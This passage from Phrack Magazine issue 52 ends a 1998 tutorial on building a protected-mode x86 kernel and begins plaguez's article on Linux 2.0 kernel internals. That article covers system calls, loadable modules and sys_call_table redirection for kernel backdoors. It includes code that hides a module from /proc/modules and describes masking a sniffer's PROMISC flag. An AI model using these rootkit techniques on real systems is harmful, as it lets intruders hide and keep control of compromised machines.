Also, there is one typo in my article. The book which was written without the letter 'e' was not The Great Gatsby, but rather Gadsby. Thanks to Andy Magnusson for pointing that out.

Great job guys!

‑‑‑‑[ Acknowledgements

I owe a certain debt to two people who have been available to me during my development work. Both have done quite a bit of work developing their own protected mode operating systems. I would like to thank Paul Swanson of the ACM@UIUC chapter for helping solve several bugs and for giving me general tips on issues I encountered. I would also like to thank Brian Swetland of Neoglyphics for giving me a glimpse of his operating system. He was also nice enough to allow me to steal some of his source code for my use. This source include the console io routines which saved me a great deal of time. Also, the i386 functions were given to me by Paul Swanson which has made a lot of the common protected mode instructions easily useable.

Following new releases and information on this operating systems work, I am currently redoing my web site and will have it up by Feb 1, 1998. I will be including this entire article on that site along with all updates to the operating system as I work on it. One of the first things that I will be doing is rewriting all of the kernel. A large part of what is contained within these pages was a learning experience. Unfortunately, one consequence of trying to get this thing done was it becoming fairly messy and hackish. I would like to clean it up and begin to build upon it. Having a good code base will be invaluable to this. So please watch for the next, and future releases of this code and feel free to contact me with any feedback or questions. I will do my best to help. I won't be able to answer every question but I will certainly try. Also, please be patient as I have a very busy schedule outside of this project and am often times caught up by it.

I can be reached at:

jwthomp@cu‑online.com

and my web site is at:

http://www.cu‑online.com/~jwthomp/ (Up Feb 1, 1998)

‑‑‑‑[ Introduction

Throughout this document I assume a certain level of knowledge on the part of the reader. This knowledge includes c and assembly language programming, and x86 architecture.

The development requirements for the GuildOS operating system are:

An ELF compiler

I used the gnu ELF compiler which comes with linux. It is possible to use other ELF cross compilers on other systems as well.

a386 assembler

This can be obtained from:

Eric Isaacson

416 E. University Ave.

Bloomington IN 47401‑4739

71333.3154@compuserve.com

or call 1‑812‑335‑1611

A86+D86+A386+D386 is $80

Printed manual $10

This is a really nice assembler. Buy a copy. I did.

It is also possible to convert the boot loader assembly code to another assembler.

A 486+ machine

You must have a machine to test the OS on.

Great books to read to gain an understanding of the various topics presented in the following pages are:

Protected Mode Software Architecture by Tom Shanley from MindShare, Inc. ISBN 0‑201‑55447‑X $29.95 US

This book covers the protected mode architecture of the x86. It also explains the differences between real mode and protected mode programming. This book contains much of the information which is in the Intel Operating Systems Developers guide, but also explains things much more in depth.

Developing Your Own 32‑Bit Operating System by Richard A. Burgess from SAMS Publishing. ISBN 0‑672‑30655‑7

This book covers the development of a complete 32‑bit OS. The author also creates his own 32‑bit assembler and compiler. Considerable portions of the code are written in asm, but there is still quite a bit in C.

The entire Intel architecture series and their OS developers guides which are available from their web site for free.

‑‑‑‑[ Chapter 1 ‑ Booting into protected mode

The first step in setting up an operating system on the x86 architecture is to switch the machine into protected mode. Protected mode allows you to use hardware protection schemes to provide operating system level security.

The first component which I began working on was the first stage boot loader which is located in "JeffOS/loader/first/".

The first stage boot loader is placed on the first sector of the floppy. Each sector is 512 bytes. This is not a lot of room to write all of the code required to boot into protected mode the way I would like to so I had to break the boot loader into two parts. Thus the first and second stage floppy loader.

After the Power On Self‑Test (POST) test this first sector is loaded up into memory location 0000:7C00. I designed the first stage of the floppy boot loader to load up all of the files into memory to be executed. The first instruction in the boot loader jumps to the boot code. However, between the jump and the boot code are some data structures.

The first section is the disk parameters. I'm not currently using any of this information but will in future versions. The next set of structures contain information on the other data files on the floppy disk. Each structure looks like this in assembly:

APCXDW0000h; Specifies CX value for INT 13h BIOS routine

APDXDW0000h; DX

APESDW0000h; ES

APBXDW0000h; BX

APSZDB0h; Specifies number of sectors to read in

APSZ2DB0h; Unused

There are four copies of this structure (APxx, BPxx, CPxx, DPxx).

The INT 13h BIOS call has the following arguments:

ch: Cylinder number to start reading from.

cl: Sector number to start at.

dh: Head number of drive to read from (00h or 01h for 1.44M floppy disk drives) dl: Drive number (00h for Disk A)

es: Segment to store the read in sectors at.

bx: Offset into the segment to read the sectors into.

ah: Number of sectors to read in.

al: Function number for INT 13h. (02h is to read in from the disk)

I use the APxx to load the second stage boot loader. BPxx is being used to load the first stage kernel loader. CPxx is used to load a simple user program. Finally, DPxx is used to load the kernel in.

Following the loader structures are two unused bytes which are used to store temporary data. SIZE is used but SIZE2 is not currently used.

The boot code follows these structures. This boot code relocates itself into another section of memory (9000:0000 or 90000h linear). Once relocated, it loads all of the files into memory and then jumps into the beginning of the second stage boot loader.

The first part of the second stage boot loader contains a macro which is used to easily define a Global Descriptor Table (GDT) entry. In protected mode the GDT is used to store information on selectors. A selector in protected mode is referred to by a number stored in any of the segment registers. A selector has the following format:

Bits Use

15 ‑ 3 Descriptor Table Index

2 Table Indicator

1 ‑ 0 The Requestor Privilege Level

The Descriptor Table Index or (DT) is an index into the GDT. The first entry in the GDT is 00h, the second is 08h, then 10h, etc.. The reason that the entries progress in this manner is because the 3 least significant bits are used for other information. So to find the index into the GDT you do a segment & 0xfff8 (DT = Selector & 0xfff8).

The Table Indicator selects whether you are using a GDT or a Local Descriptor Table (LDT). I have not yet had a reason to use LDT's so I will leave this information to your own research for now.

Finally, the Requestor Privilege Level is used to tell the processor what level of access you would like to have to the selector.

0 = OS

1 = OS (but less privileged than 0)

2 = OS (but less privileged than 1)

3 = User level

Typically levels 0 and 3 are the only ones used in modern operating systems.

The GDT entries which describe various types of segments have the following form:

63 ‑ 56 Upper Byte of Base Address

55 Granularity Bit

54 Default Bit

53 0

52 Available for Use (free bit)

51 ‑ 48 Upper Digit of Limit

47 Segment Present Bit

46 ‑ 45 Descriptor Privilege Level

44 System Bit

43 Data/Code Bit

42 Conforming Bit

41 Readable bit

40 Accessed bit

39 ‑ 32 Third Byte of Base Address

31 ‑ 24 Second Byte of Base Address

23 ‑ 16 First Byte of Base Address

15 ‑ 8 Second Byte of Limit

7 ‑ 0 First Byte of Limit

The base address is the starting location of the segment descriptor (for code or data segments). The limit is the number of bytes or 4k pages. Whether it is bytes or 4k pages depends on the setting of the granularity but. If the granularity bit is set to 0 then the limit specifies the length in bytes. If it is set to 1 then the limit specifies the length of the segment in 4k pages.

The default bit specifies whether the code segment is 32bit or 16bit. If it is set to 0 then it is 16bit. If it is set to 1 then it is 32bit.

The present bit is set to one if the segment is currently in memory. This is used for virtual paging.

The descriptor privilege level is similar to the RPL. The DPL simply states at what protection level the segment exists at. The values are the same as for the RPL.

The system bit is used to specify whether the segment contains a system segment. It is set to 0 if it is a system(OS) segment.

The data/code bit is used to specify whether the segment is to be used as a code segment or as a data segment. A code segment is used to execute code from and is not writable. A data segment is used for stacks and program data. It's format is slightly different from the code segment depicted above.

The readable bit is used to specify whether information can be read from the segment or whether it is execute only.

The next part of the second stage floppy boot loader contains the code which is used to enable the A20 address line. This address line allows you to access beyond the 1MB limit that was imposed on normal DOS real mode operation. For a discussion of this address line I recommend looking at the Intel architecture books.

Once enabled the GDT that exists as data at the end of the assembly file is loaded into the GDT register. This must be done before the switch into protected mode. Other wise any memory accesses will not have a valid selector described for them and will cause a fault (I learned this from experience).

Once this is completed the move is made to protected mode by setting the protected mode bit in the CR0 register to 1.

Following the code which enables protected mode, there is data which represents a far call into the next portion of the second stage boot loader. This causes a new selector to be used for CS as opposed to an undefined one.

The code that is jumped into simply sets up the various selectors for the data segments.

There is then some simple debugging code which prints to the screen. This was used for myself and can be removed.

The stack segment is then set up along with the stack pointer. I placed the stack at 90000h.

Finally I push the value for the stack onto the stack (to be retrieved by the kernel) and then call linear address 100080h which contains the first stage loader for the kernel.

‑‑‑‑[ Chapter 2 ‑ The first stage kernel boot loader

The first stage kernel boot loader is located in \boot.

First some notes on what is happening with the first stage boot loader. The boot loader is compiled to ELF at a set TEXT address so that I can jump into the code and have it execute for me. In the makefile I specify the text address to be 10080. The first 80h bytes are used as the ELF header. I completely ignore this information and jump directly into linear memory address 10080h. It is my understanding that newer versions of the ELF compiler have a slightly different header length and may cause this number to need to be modified. This can be determined by using a dissasembler (i.e. DEBUG in DOS) to determine where the text segment is beginning.

The two files of importance to the boot loader are main.c and mem.c.

main.c contains the function `void _start(unsigned long blh);`. This function must be the first function linked in. So main.c must be the first file which is linked and _start() must be the first function in it. This guarantees that start will be at 10080h. The parameter blh is the value which was pushed in by the second stage boot loader. This originally had meaning, but no longer does.

The first thing that _start does is to call kinit_MemMgmt which is the initialization routine for memory.

The first thing that kinit_MemMgmt does is set nMemMax to 0xfffff. This is the maximum number of bytes on the system. This value is 1MB. kinit_MemMgmt then calls kmemcount which attempts to calculate the amount of free memory on the system. Currently this routine does not work properly and assumes that there is 2MB of free memory on the system. This is sufficient for now but needs to be fixed in the future.

kinit_MemMgmt then calls kinit_page which sets of the page tables for the kernel.

Paging is the mechanism used to define what memory a task is able to access. This is done by creating a "virtual" memory space which the task accesses. Whenever an access to memory occurs the processor looks into the page tables to determine what "real" physical memory is pointed to by this memory location. For example, the kernel could designate that each task will get 32k (8 pages) of memory to use for the stack. Without using paged memory each of these memory locations would occur at a different address. However, by using paging you can map each of these physical memory allocations to a paged address which allows each of these allocations to appear to occur at the same location.

The page tables are broken up in the following manner. First is the page directory. It is composed of 1024 entries which have the following properties:

31 ‑ 12 Page Table Base Address

11 ‑ 9 Unused (Free bits)

8 0

7 Page Size Bit

6 0

5 Accessed Bit

4 Page Cache Disable Bit

3 Page Write Through Bit

2 User/Supervisor Bit

1 Read/Write Bit

0 Page Present Bit

The Page Table Base address is an index to the page table which contains information about this memory location. When a memory location is accessed the most significant 10 bits are used to reference one of the 1024 entries in the page directory. This entry will point to a page table which has a physical memory address equal to the Page Table Base Address. This table is then referenced to one of its 1024 entries by the 21 ‑ 12 bits of the memory address.

The Page Size Bit tells whether each page is equal to (Bit = 0) 4kb or (Bit = 1) 4MB.

The accessed bit is used to show whether the page has ever been accessed. Once set to 1, the OS must reset it to 0. This is used for virtual paging.

The Page Cache Disable Bit and Page Write Bit are not currently used by me, so I will leave its definition as an exercise to the reader (enjoy).

The User/Supervisor Bit specifies whether access to the page table is restricted to access by tasks with privilege level 0,1,2 or 3. If the bit is set to 0 then only tasks with level 0, 1, or 2 can access this page table. If the bit is set to 1, then tasks with level 0, 1, 2, or 3 can access this page table.

The Read/Write bit is used to specify whether a user level task can write to this page table. If it is set to 0 then it is read only to "User" tasks. If it is set to 1 then it is read/writable by all tasks.

Finally, the Present Bit is used to specify whether the page table is present in memory. If this is set to 1 then it is.

Once the page directory is referenced, the offset into the page table is selected. Using the next 10 bits of the memory reference. Each page table has 1024 entries with each entry having the following structure:

31 ‑ 12 Page Base Address

11 ‑ 9 Unused (Free bits)

8 ‑ 7 0

6 Dirty Bit

5 Accessed Bit

4 Page Cache Disable Bit

3 Page Write Through Bit

2 User/Supervisor Bit

1 Read/Write Bit

0 Page Present Bit

The Page Base Address points to the upper 20 bits in physical memory where the memory access points to. The lower 12 bits are taken from the original linear memory access.

The Dirty, Accessed, Page Cache, and Page Write Through Bits are all used for virtual memory and other areas which I have not yet been concerned yet. So they are relegated to the reader (for now).

The remaining three bits behave just as in the page directory except that they apply to the physical memory page as opposed to a page table. All kernel pages are set to have Supervisor, Read/Write, and Page Present bits set. User pages do not have the supervisor bits set.

The code in kinit_page creates the page directory in the first of the three physical pages that it set aside. The next page is used to create a low (user) memory area of 4MB (One page table of 1024 entries points to 1024 4kb pages, Thus 4MB). The third page is used to point to high (OS) memory.

The kinit_page function sets all of the low page memory equal to physical memory. This means that there is a one to one correlation for the first 4MB of memory to paged memory. kinit_page then maps in ten pages starting at 70000h linear into 0x80000000. Entry number 0 of the page directory is then set to point to the low page table. Entry number 512 is set to point to the high page table.

Finally the kinit_page function places the address of the page directory into the cr3 register. This tells the processor where to look for the page tables. Finally, cr0 has its paging bit turned on which informs the processor that memory accesses should go through the page table rather than just being direct physical memory accesses.

After this the _start function is returned into and k_start() has been set to 0x80000080 which points to the _start() function in the main kernel. _start in the boot code calls this function which starts the real kernel off.

‑‑‑‑[ Chapter 3 ‑ The Kernel

The kernel is where all of the fun begins. Unfortunately, this is the place that needs the most work. However, there is enough here to demonstrate the beginnings of what needs to be done to build a viable kernel for your own work.

The kernel boot loader created the kernel page table and then jumped into the kernel at _start(); _start() then sets up the console, clears it, and displays the message "Main kernel loaded.". Once this is done it runs the memory manager initialization routine 'kinit_page()'.

The memory manager initialization routine begins by initializing a structure called the PMAT. The PMAT is a giant bit field (2048 bytes), where each bit represents one page of physical memory. If a bit is set to 1, the corresponding page of memory is considered allocated. If the bit is set to 0 then it is considered unallocated. Once this array is initialized the memory management code sets aside the chunks of physical memory which are already in use. This include the system BUS memory areas, as well as the location of the kernel itself in physical memory. Once this is completed the memory manager returns to the _start() function so that it can proceed with kernel initialization.

The _start() function then calls a temporary function which I am using now to allocate memory which is use by the user program loading in by the first stage floppy loader. This will go away after I add the loading of processes off of disk during run time. This function sets aside the physical memory which is located at 20000h linear.

Now that the basic memory system is set up the _start() function calls the kinit_task() function. kinit_task() sets up the kernel task so that it can run as a task rather than as a the only process on the system.

kinit_task() is really a shell function which calls two other functions: kinit_gdt() and kinit_ktask(); kinit_gdt() initializes a new kernel GDT which is to be used by the kernel rather than the previous temporary one which was set up by the second stage floppy boot loader. Once the new location for the gdt is mapped into memory several selectors are added to it. Kernel Code and Data selectors are added. Also, User Code and Data selectors are added. Once these selectors are put into place, the new gdt is placed in the gdt register on the processor so that it can be used.

kinit_task() now calls the kinit_ktask() function. This task creates a task which the kernel code will be executed as. The first thing this function does is to clear out the kernels task list. This list contains a list of tasks on the system. Next a 4k page is allocated for the kernel task segment. The current executing task is then set to the kernel task. Next the task segment is added to the GDT. This task segment has the following structure and is filled out for the kernel with the following values by me. In fact all tasks will start out with these settings.

struct TSS {

ushort link; // set to 0

ushort unused0;

ulong esp0; // set to the end of the task segment page

ushort ss0; // set to SEL_KDATA (Kernel Data segment)

ushort unused1;

ulong esp1; // set to 0

ushort ss1; // set to 0

ushort unused2;

ulong esp2; // set to 0

ushort ss2; // set to 0

ushort unused3;

ulong cr3; // set to the physical address of this tasks page

// tables

ulong eip; // set to the entry point to this tasks code

ulong eflags; // set to 0x4202

ulong eax, ecx, edx, ebx, esp, ebp, esi, edi; // set to garbage values

ushort es; // set to SEL_KDATA (Kernel data segment)

ushort unused4;

ushort cs; // set to SEL_KCODE (Kernel code segment)

ushort unused5;

ushort ss; // set to SEL_KDATA

ushort unused6;

ushort ds; // set to SEL_KDATA

ushort unused7;

ushort fs; // set to SEL_KDATA

ushort unused8;

ushort gs; // set to SEL_KDATA

ushort unused9;

ushort ldt; // set to 0

ushort unused10;

ushort debugtrap; // set to 0

ushort iomapbase; // set to 0

};

The link field is used by the processor when an interrupt is called. The processor places a pointer to the task segment which was running prior to the interrupt. This is useful for determining access rights based on the calling process.

The espx and ssx parameters are used to store a pointer to a stack which will be used when a task with a lower privilege level tries to access a high level privilege area.

The cr3 parameter is used to store a pointer to the physical address of this tasks page table. Whenever this task is switched to, the processor will load the value stored in cr3 into the cr3 register. This means that each task can have a unique set of page tables and mappings.

The eax, ebx, etc.. registers are all set to a garbage value as they are uninitialized and will only gain values once they are used. When the processor switches to this task these parameters will be loaded into their respective processor registers.

The cs, es, ss, ds, fs, and gs parameters are all set to meaningful values which will be loaded into their respective processor registers when this task is switched to.

As I am not using a local descriptor I set this parameter to 0 along with the debugtrap and iomapbase parameters.

As I have mentioned every time a task is switched to the processor will load all of the parameters from the task segment into their respective registers. Likewise, when a task is switched out of, all of the registers will be stored in their respective parameters. This allows tasks to be suspended and to restart with the state they left off at.

Switching tasks will be discussed later when the point in the kernel where this takes place at is reached.

Once this task state segment is created it is necessary to create an entry in the GDT which points to this task segment. The format of this 64 bit entry is as follows:

63 ‑ 56 Fourth Byte of Base Address

55 Granularity Bit

54 ‑ 53 0

52 Available for use (free bit)

51 ‑ 48 Upper Nibble of Size

47 Present in Memory Bit

46 ‑ 45 Descriptor Privilege Level

44 System Built

43 16/32 Bit

42 0

41 Busy Bit

40 1

39 ‑ 32 Third Byte of Base Address

31 ‑ 24 Second Byte of Base Address

23 ‑ 16 First Byte of Base Address

15 ‑ 8 Second Byte of Segment Size

7 ‑ 0 First Byte of Segment Size

As you have probably noticed, this structure is very similar to the code segment descriptor. The differences are the 16/32 bit, and the Busy Bit.

The 16/32 Bit specifies whether the task state segment is 16 bit or 32 bit. We will only be using the 32 Bit task segment (Bit = 1). The 16 bit task state segment was used for the 286 and was replaced by a 32 bit task state segment on the 386+ processors.

The busy bit specifies whether the task is currently busy.

Once the kernel task is allocated, a new kernel stack is allocated and made active. This allows the stack to be in a known and mapped in location which uses the memory manager of the kernel.

The user tasks is then created in a similar fashion as the kernel task. In this current implementation the user task is located at 0x20000. Its stack is located at 0x2107c. Currently, this user task operates with OS level privilege. I encountered some problems when changing its selectors to user entries in the GDT. As soon as I fix this problem I will post a fix on my web site. After the user task is created it is added to the task queue to be switched to once the scheduler starts.

Now that the kernel task and a user task (though running with kernel privilege level) have been created it is necessary to set up the interrupt tables. This is done by a call to the kinit_idt() function.

kinit_idt() starts by setting all of the interrupts to point to a null interrupt function. This means that for most interrupts a simple return occurs. However, interrupt handlers for the timer as well as for one system call. Also, interrupts are set up to handle the various exceptions. Once this table is filled out the interrupt descriptor table (IDT) is loaded into the idt register. The interrupts are then enabled to allow them to be called.

The timer interrupt handler is a simple function which calls a task switch every time the hardware timer fires.

The system call (interrupt 22h) is called, the handler will print out on the console the string which is pointed to be the eax register.

The exception handling routine will dump the task registers and then hang the system. The jump.S file in JeffOS/kernel/ contains the assembly wrappers which are called when an interrupt occurs. These wrapper functions then call the C handler functions.

Now that the IDT is set up and interrupts are occurring task switches can occur. These occur when the swtch() function is called in the task.c file. The swtch() function locates the next task in its queue and does a call to the selector address of the new task. This causes the processor to look up the selector and switch to the new task.

You now have a very simple multi‑tasking kernel.

‑‑‑‑[ Chapter 4 ‑ User level libraries

The user level libraries are fairly simplistic.

There are two files in this directory. The first is the crt0.c file. This file contains one function which is the _start() function. This function makes a call to main which will be defined in user code. This stub function must always be linked in first as it will be jumped into by the kernel to begin running the process.

The second file is the syscall.c file. This file contains one system call function which is simply an interrupt 22. This interrupt calls the console system call. eax is passed in as a pointer to a string which is printed to the system console.

Both of these source files are compiled to objects and are used during the linking phase of any user code.

‑‑‑‑[ Chapter 5 ‑ User code

The user code is stored in one file called test.c. This file is located in the /user/ directory. All this code does is call the console system call function provided by the library, wait a short amount of time, and call it again in a non‑terminating loop (good thing, as I don't handle task termination yet).

The important thing to note is that when linking this user process is set to have a text segment of 20000h linear. Also the crt0.o and syscall.o files are linked in as well. crt0.o is linked in first to insure that its _start() function is at 20080h so it will be jumped into by the kernel. In truth, _start() is the real main as opposed to the main() everyone is used to dealing with.

This code is the task which is created and run alongside the kernel, as described in chapter 3.

‑‑‑‑[ Chapter 6 ‑ Creating a disk image out of the binaries

Once you have compiled all of the binaries and placed them into the build directory you will need to create two more files before continuing. These files are called STUFF.BIN and STUFF2.BIN. These files are simply containers of empty space to cause alignment of other binaries. The floppy loader expects the user program to be 1k in size. If the user program is not exactly this size then STUFF2.BIN needs to be created and be of such a size that when added to USER.BIN the size is 1024 bytes. Also, the floppy boot loader expects the kernel boot loader to be 3.5k (3584 bytes) in size. STUFF.BIN needs to be made of such length that when added to the size of the BOOT.BIN (kernel boot loader) file the size will be 3584 bytes. In the future I will try to automate this process, but for now this is simply how it must be done. Once this is complete the shell program 'go' must be run. This will place all of the binary files into one file called 'os.bin'. This file can then be written to disk by one of the following two methods.

If you want to do it from linux you can do the following command:

dd if=os.bin of=/dev/fd0 (places os.bin directly onto the floppy disk)

or from DOS you can obtain the rawrite command and run it and follow its directions.

‑‑‑‑[ Conclusion

The kernel contained within is far from complete. However, it is a first step towards creating a real protected mode operating system. It is also enough to begin working with, or to refer to during you own work on a protected mode operating system. Doing this work is simply both one of the most rewarding things you will ever do, and one of the most frustrating. Many a night has been spent at the local tavern telling war stories about this stuff. But in the end, it has all been great fun.

I wish you all the best of luck!

Jeff Thompson

jwthomp@cu‑online.com

http://www.cu‑online.com/~jwthomp/

<++> JeffOS.tgz.uue

begin 600 JeffOS.tgz M'XL(`(‑CQC0``^P\:W?:R)+Y"N?D/_3!<]=@$R(!Q@Y,<@\&G#CKUQKG9C(W

end

<‑‑>

Weakening the Linux Kernel

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 18 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Weakening the Linux Kernel

‑‑‑‑‑‑‑‑[ plaguez <dube0866@eurobretagne.fr>

‑‑‑‑[ Preamble

The following applies to the Linux x86 2.0.x kernel series. It may also be accurate for previous releases, but has not been tested. 2.1.x kernels introduced a bunch of changes, most notably in the memory management routines, and are not discussed here.

Thanks to Halflife and Solar Designer for lots of neat ideas. Brought to you by plaguez and WSD.

‑‑‑‑[ User space vs. Kernel space

Linux supports a number of architectures, however most of the code and discussion in this article refers to the i386 version only.

Memory is divided into two parts: kernel space and user space. Kernel space is defined in the GDT, and mapped to each processes address space. User space is in the LDT and is local to each process. A given program can't write to kernel memory even when it is mapped because it is not in the same ring.

You also can not access user memory from the kernel typically. However, this is really easy to overcome. When we execute a system call, one of the first things the kernel does is set ds and es up so that memory references point to the kernel data segment. It then sets up fs so that it points to the user data segment. If we want to use kernel memory in a system call, all we should have to do is push fs, then set it to ds. Of course, I have not actually tested this, so take it with a pound or two of salt :).

Here are a few of the useful functions to use in kernel mode for transferring data bytes to or from user memory:

#include <asm/segment.h>

get_user(ptr)

Gets the given byte, word, or long from user memory. This is a macro, and it relies on the type of the argument to determine the number of bytes to transfer. You then have to use typecasts wisely.

put_user(ptr)

This is the same as get_user(), but instead of reading, it writes data bytes to user memory.

memcpy_fromfs(void *to, const void *from,unsigned long n) Copies n bytes from *from in user memory to *to in kernel memory.

memcpy_tofs(void *to,const *from,unsigned long n)

Copies n bytes from *from in kernel memory to *to in user memory.

‑‑‑‑[ System calls

Most libc function calls rely on underlying system calls, which are the simplest kernel functions a user program can call. These system calls are implemented in the kernel itself or in loadable kernel modules, which are little chunks of dynamically linkable kernel code.

Like MS‑DOS and many others, Linux system calls are implemented through a multiplexor called with a given maskable interrupt. In Linux, this interrupt is int 0x80. When the 'int 0x80' instruction is executed, control is given to the kernel (or, more accurately, to the function _system_call()), and the actual demultiplexing process occurs.

The _system_call() function works as follows:

First, all registers are saved and the content of the %eax register is checked against the global system calls table, which enumerates all system calls and their addresses. This table can be accessed with the extern void *sys_call_table[] variable. A given number and memory address in this table corresponds to each system call. System call numbers can be found in /usr/include/sys/syscall.h. They are of the form SYS_systemcallname. If the system call is not implemented, the corresponding cell in the sys_call_table is 0, and an error is returned. Otherwise, the system call exists and the corresponding entry in the table is the memory address of the system call code.

Here is an example of an invalid system call:

[root@plaguez kernel]# cat no1.c

#include <linux/errno.h>

#include <sys/syscall.h>

#include <errno.h>

extern void *sys_call_table[];

sc()

{ // system call number 165 doesn't exist at this time.

__asm__(

"movl $165,%eax

int $0x80");

}

main()

{

errno = ‑sc();

perror("test of invalid syscall");

}

[root@plaguez kernel]# gcc no1.c

[root@plaguez kernel]# ./a.out

test of invalid syscall: Function not implemented

[root@plaguez kernel]# exit

Normally, control is then transferred to the actual system call, which performs whatever you requested and returns. _system_call() then calls _ret_from_sys_call() to check various stuff, and ultimately returns to user memory.

‑‑‑‑[ libc wrappers

The int $0x80 isn't used directly for system calls; rather, libc functions, which are often wrappers to interrupt 0x80, are used.

libc is actually the user space interface to kernel functions.

libc generally features the system calls using the _syscallX() macros, where X is the number of parameters for the system call.

For example, the libc entry for write(2) would be implemented with a _syscall3 macro, since the actual write(2) prototype requires 3 parameters. Before calling interrupt 0x80, the _syscallX macros are supposed to set up the stack frame and the argument list required for the system call. Finally, when the _system_call() (which is triggered with int $0x80) returns, the _syscallX() macro will check for a negative return value (in %eax) and will set errno accordingly.

Let's check another example with write(2) and see how it gets preprocessed.

[root@plaguez kernel]# cat no2.c

#include <linux/types.h>

#include <linux/fs.h>

#include <sys/syscall.h>

#include <asm/unistd.h>

#include <sys/types.h>

#include <stdio.h>

#include <errno.h>

#include <fcntl.h>

#include <ctype.h>

_syscall3(ssize_t,write,int,fd,const void *,buf,size_t,count);

main()

{

char *t = "this is a test.\n";

write(0, t, strlen(t));

}

[root@plaguez kernel]# gcc ‑E no2.c > no2.C

[root@plaguez kernel]# indent no2.C ‑kr

indent:no2.C:3304: Warning: old style assignment ambiguity in "=‑". Assuming "= ‑"

[root@plaguez kernel]# tail ‑n 50 no2.C

#9 "no2.c" 2

ssize_t write(int fd, const void *buf, size_t count)

{

long __res;

__asm__ __volatile("int $0x80":"=a"(__res):"0"(4), "b"((long) (fd)), "c"((long) (buf)), "d"((long) (count)));

if (__res >= 0)

return (ssize_t) __res;

errno = ‑__res;

return ‑1;

};

main()

{

char *t = "this is a test.\n";

write(0, t, strlen(t));

}

[root@plaguez kernel]# exit

Note that the '4' in the write() function above matches the SYS_write definition in /usr/include/sys/syscall.h.

‑‑‑‑[ Writing your own system calls.

There are a few ways to create your own system calls. For example, you could modify the kernel sources and append your own code. A far easier way, however, would be to write a loadable kernel module.

A loadable kernel module is nothing more than an object file containing code that will be dynamically linked into the kernel when it is needed.

The main purposes of this feature are to have a small kernel, and to load a given driver when it is needed with the insmod(1) command. It's also easier to write a lkm than to write code in the kernel source tree.

With lkm, adding or modifying system calls is just a matter of modifying the sys_call_table array, as we'll see in the example below.

‑‑‑‑[ Writing a lkm

A lkm is easily written in C. It contains a chunk of #defines, the body of the code, an initialization function called init_module(), and an unload function called cleanup_module(). The init_module() and cleanup_module() functions will be called at module loading and deleting. Also, don't forget that modules are kernel code, and though they are easy to write, any programming mistake can have quite serious results.

Here is a typical lkm source structure:

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#ifdef MODULE

#include <linux/module.h>

#include <linux/version.h>

#else

#define MOD_INC_USE_COUNT

#define MOD_DEC_USE_COUNT

#endif

#include <linux/types.h>

#include <linux/fs.h>

#include <linux/mm.h>

#include <linux/errno.h>

#include <asm/segment.h>

#include <sys/syscall.h>

#include <linux/dirent.h>

#include <asm/unistd.h>

#include <sys/types.h>

#include <stdio.h>

#include <errno.h>

#include <fcntl.h>

#include <ctype.h>

int errno;

char tmp[64];

/* for example, we may need to use ioctl */

_syscall3(int, ioctl, int, d, int, request, unsigned long, arg);

int myfunction(int parm1,char *parm2)

{

int i,j,k;

/* ... */

}

int init_module(void)

{

/* ... */

printk("\nModule loaded.\n");

return 0;

}

void cleanup_module(void)

{

/* ... */

printk("\nModule unloaded.\n");

}

Check the mandatory #defines (#define MODULE, #define __KERNEL__) and #includes (#include <linux/config.h> ...)

Also note that as our lkm will be running in kernel mode, we can't use libc functions, but we can use system calls with the previously discussed _syscallX() macros or call them directly using the pointers to functions located in the sys_call_table array.

You would compile this module with 'gcc ‑c ‑O3 module.c' and insert it into the kernel with 'insmod module.o' (optimization must be turned on).

As the title suggests, lkm can also be used to modify kernel code without having to rebuild it entirely. For example, you could patch the write(2) system call to hide portions of a given file. Seems like a good place for backdoors, also: what would you do if you couldn't trust your own kernel?

‑‑‑‑[ Kernel and system calls backdoors

The main idea behind this is pretty simple. We'll redirect those damn system calls to our own system calls in a lkm, which will enable us to force the kernel to react as we want it to. For example, we could hide a sniffer by patching the IOCTL system call and masking the PROMISC bit. Lame but efficient.

To modify a given system call, just add the definition of the extern void *sys_call_table[] in your lkm, and have the init_module() function modify the corresponding entry in the sys_call_table to point to your own code. The modified call can then do whatever you wish it to, meaning that as all user programs rely on those kernel calls, you'll have entire control of the system.

This point raises the fact that it can become very difficult to prevent intruders from staying in the system when they've broken into it. Prevention is still the best way to security, and hardening the Linux kernel is needed on sensitive boxes.

‑‑‑‑[ A few programming tricks

‑ Calling system calls within a lkm is pretty easy as long as you pass user space arguments to the given system call. If you need to pass kernel space arguments, you need to be sure to modify the fs register, or else everything will fall on its face. It is just a matter of storing the system call function in a "pointer to function" variable, and then using this variable. For example:

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#ifdef MODULE

#include <linux/module.h>

#include <linux/version.h>

#else

#define MOD_INC_USE_COUNT

#define MOD_DEC_USE_COUNT

#endif

#include <linux/types.h>

#include <linux/fs.h>

#include <linux/mm.h>

#include <linux/errno.h>

#include <asm/segment.h>

#include <sys/syscall.h>

#include <unistd.h>

#include <linux/unistd.h>

int errno;

/* pointer to the old setreuid system call */

int (*o_setreuid) (uid_t, uid_t);

/* the system calls vectors table */

extern void *sys_call_table[];

int n_setreuid(uid_t ruid, uid_t euid)

{

printk("uid %i trying to seteuid to euid=%i", current‑>uid, euid); return (*o_setreuid) (ruid, euid);

}

int init_module(void)

{

o_setreuid = sys_call_table[SYS_setreuid]; sys_call_table[SYS_setreuid] = (void *) n_setreuid; printk("swatch loaded.\n");

return 0;

}

void cleanup_module(void)

{

sys_call_table[SYS_setreuid] = o_setreuid;

printk("\swatch unloaded.\n");

}

‑ Hiding a module can be done in several ways. As Runar Jensen showed in Bugtraq, you could strip /proc/modules on the fly, when a program tries to read it. Unfortunately, this is somewhat difficult to implement and, as it turns out, this is not a good solution since doing a

'dd if=/proc/modules bs=1' would show the module. We need to find another solution. Solar Designer (and other nameless individuals) have a solution. Since the module info list is not exported from the kernel, there is no direct way to access it, except that this module info structure is used in sys_init_module(), which calls our init_module()! Providing that gcc does not fuck up the registers before entering our init_module(), it is possible to get the register previously used for struct module *mp and then to get the address of one of the items of this structure (which is a circular list btw). So, our init_module() function will include something like that at its beginning:

int init_module()

{

register struct module *mp asm("%ebx"); // or whatever register it is in

*(char*)mp‑>name=0;

mp‑>size=0;

mp‑>ref=0;

...

}

Since the kernel does not show modules with no name and no references (=kernel modules), our one won't be shown in /proc/modules.

‑‑‑‑[ A practical example

Here is itf.c. The goal of this program is to demonstrate kernel backdooring techniques using system call redirection. Once installed, it is very hard to spot.

Its features include:

